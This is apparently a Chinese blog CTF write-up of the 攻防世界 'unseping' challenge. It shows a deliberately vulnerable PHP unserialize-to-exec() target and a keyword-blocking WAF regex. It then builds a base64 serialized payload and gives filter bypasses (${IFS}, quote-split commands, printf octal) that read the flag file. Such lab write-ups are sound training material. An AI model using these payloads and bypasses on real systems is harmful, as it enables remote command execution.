攻防世界_unseping
攻防世界unseping
打开靶机对应的url:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
序列化绕过
php 一个对象在释放时,会先调用__wakeup() 之后调用__destruct()
这里wakeup()里访问了waf(),那么只要反序列化绕过套路绕过,然后在**_destruct只要method值为ping**。通过代码审计可以看出,在检查这些东西 **/(||&|;| |/|cat|flag|tac|php|ls)/**,也就是不能出现 | & / cat flag tac php ls 空格, 从这里也可以看出,很可能存在一个叫flag.php 的文件。
执行类似ls -l命令,ls被过滤,空格被过滤,那么得找替代命令
1. 空格:
linux 上当shell是 bash的话 空格可以用 ${IFS}或者$IFS$9 代替
PS: $()与 ` `(反引号):都是用来作命令替换的,执行括号或者反引号中的命令
其他空格绕过例子:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
2. 命令拆分:
在linux下 ls 等价于 l''s 等价于 l""s,都可以执行,其他命令也是一样的,这是一个特性
那么把命令换成l””s${IFS}-l,然后进行序列化, 以下是序列化代码,后面用php解释器执行:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$t_ease = new ease('ping', array('l""s${IFS}-l'));
$t_serialize = serialize($t_ease);
echo $t_serialize;
echo base64_encode($t_serialize);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==
array(3) { [0]=> string(7) "total 8" [1]=> string(53) "drwxr-xr-x 1 root root 4096 Oct 28 05:06 flag_1s_here" [2]=> string(50) "-rwxr-xr-x 1 root root 863 Aug 18 2022 index.php" }
再造请求命令l””s${IFS}f””lag_1s_here
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
构造命令c””at${IFS}f””lag_1s_here$(printf${IFS}”\57”)f””lag_831b69012c67b35f.p””hp
printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出
\NNN 八进制数 NNN 所代表的 ASCII 码字符。
\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。
\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。
\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位
那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查
得到结果:
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{e1a952f3286cbb89ec590d3b9246701a}" }
- Title: 攻防世界_unseping
- Author: Rxw
- Created at : 2024-10-28 13:39:08
- Updated at : 2024-11-22 00:47:33
- Link: https://rxw2023-github-io.pages.dev/2024/10/28/攻防世界-unseping/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments